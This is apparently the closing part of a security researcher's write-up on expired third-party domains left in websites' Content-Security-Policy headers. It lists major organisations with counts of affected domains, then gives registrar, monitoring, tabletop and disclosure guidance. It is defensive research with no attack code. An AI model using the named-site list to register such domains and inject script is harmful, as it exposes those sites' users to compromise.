bmwgroup.com | 3 | burberry.com | 1 |
cambridge.org | 1 | cancerresearchuk.org | 1 |
capgemini.com | 1 | case.edu | 1 |
census.gov | 1 | chase.com | 1 |
cloudfront.net | 2 | cloudwaysapps.com | 14 |
cmegroup.com | 2 | cmegroup.com | 2 |
coca-cola.com | 1 | cvs.com | 1 |
de.com | 1 | dhl.com | 1 |
donorbox.org | 1 | ebay.ca | 2 |
ebay.com.au | 2 | ebay.com | 1 |
ebay.de | 1 | experian.com | 2 |
ey.com | 2 | fao.org | 1 |
fifa.com | 2 | fujitsu.com | 1 |
gencat.cat | 1 | govt.nz | 3 |
gulfnews.com | 14 | heart.org | 1 |
hermes.com | 1 | hollywoodreporter.com | 1 |
hpe.com | 1 | huawei.com | 2 |
icrc.org | 1 | impress.co.jp | 1 |
intel.com | 1 | ipsos.com | 1 |
iqiyi.com | 1 | jnj.com | 1 |
jst.go.jp | 1 | leagueoflegends.com | 1 |
lexisnexis.com | 5 | libero.it | 1 |
linktr.ee | 1 | lse.ac.uk | 1 |
mass.gov | 2 | mercedes-benz.com | 1 |
michelin.com | 1 | mitre.org | 1 |
mynavi.jp | 4 | nationaltrust.org.uk | 1 |
netlify.app | 1 | note.com | 1 |
ntu.edu.sg | 3 | okta.com | 2 |
on24.com | 2 | panasonic.com | 1 |
peatix.com | 1 | porsche.com | 4 |
premierleague.com | 1 | pwc.com | 4 |
qatarairways.com | 1 | rakuten.com | 2 |
rmit.edu.au | 2 | siemens.com | 2 |
simon.com | 2 | sky.it | 1 |
squareup.com | 1 | teamviewer.com | 1 |
thomsonreuters.com | 2 | toyota.com | 1 |
uab.edu | 1 | uber.com | 1 |
ucl.ac.uk | 1 | uga.edu | 1 |
ui.ac.id | 1 | un.org | 1 |
unicef.org | 13 | unity.com | 1 |
univision.com | 1 | upm.es | 1 |
usc.edu | 1 | uu.nl | 1 |
uva.nl | 2 | uw.edu | 1 |
verizon.com | 1 | webex.com | 2 |
wellsfargo.com | 1 | wildapricot.org | 1 |
wolterskluwer.com | 1 | wur.nl | 3 |
yamaha.com | 2 | york.ac.uk | 1 |
zomato.com | 2 | zoom.us | 4 |
4. Threat Intelligence and Defensive Measures
4.1 Registrar-Level Intelligence
Where Threat Intelligence Should Exist:
Domain registrars and registry operators are uniquely positioned to prevent malicious registration of ghosted domains.
Registry-Level Protection:
Registries (TLD operators) should maintain threat intelligence feeds of domains identified in CSP policies at scale. During this research:
Example: Nominet (.uk registry) - Proactively removed a small number of high-risk .uk domains found in eBay's CSP policies, preventing malicious registration. (Nice! - but also boo!, but actually Nice)
Example: Cloudflare Registrar - Similarly intervened on eBay domains, demonstrating rapid response capability.
Key Observation: The number of domains protected through registrar intervention was very low (fewer than 5 total). This demonstrates both the capability and current limitations of registrar-level protection.
4.2 CSP Management Best Practices
Recommended CSP Lifecycle Management:
1. Domain Inventory with WHOIS Integration
WHOIS data should be part of every CSP manager's operational checklist:
CSP Domain Inventory:
ββ Domain Name
ββ Purpose/Service
ββ Owner/Vendor
ββ WHOIS Registration Data
β ββ Registrant
β ββ Registrar
β ββ Expiration Date
β ββ Transfer Lock Status
ββ Last Verified Date
ββ Risk Assessment
2. Vendor Assurance and Supply Chain Risk
- Require vendors to prove domain ownership
- Document expected domains in contracts
- Quarterly ownership verification
- Automated WHOIS change monitoring
3. Threat Intelligence Integration
Pull threat intelligence into CSP management:
- Domain registration/expiration feeds
- Threat actor infrastructure databases
- Supply chain compromise indicators
- Registrar abuse notifications
4.3 Tabletop Exercise: Ghosted Domain Compromise
Scenario: A domain in your CSP policy has been registered by an unknown third party.
Key Questions:
- Do we have an authoritative list of all CSP domains?
- Who owns the CSP policy deployment process?
- How quickly can we push emergency CSP updates?
- What is our vendor escalation procedure?
- Do we monitor for unauthorized domain registrations?
4.4 Detection Engineering
CSP Violation Monitoring:
- Deploy CSP in report-only mode
- Alert on unexpected domains
DNS Monitoring:
- Alert on IP changes for CSP domains
- Monitor for NXDOMAIN responses
- Track WHOIS data changes
WHOIS Change Detection:
- Automated monitoring for ownership changes
- Alert on expiration within 90 days
- Auto-remove from CSP on registrant change
5. Responsible Disclosure Approach
5.1 Disclosure Method
Due to challenges with bug bounty platforms for this vulnerability class, disclosure was conducted opportunistically through:
- Primary: LinkedIn direct messages to security team members
- Secondary: security.txt email addresses
- Tertiary: General security@ addresses
Why This Approach:
Bug bounty platforms proved unsuitable due to:
- Scope limitations (third-party domains often out-of-scope)
- Difficulty explaining supply chain impact
- Reward structures not designed for preventative findings
- Time investment vs. payout misalignment
LinkedIn DMs demonstrated higher engagement and faster response times.
I'm at the 'Send it' phase.
Last Updated: October 3, 2025
Tool Version: Ghosted V8
Methodology: Opportunistic sampling from top 1M websites
Happy to chat and answer questions: https://www.linkedin.com/in/thecontractor/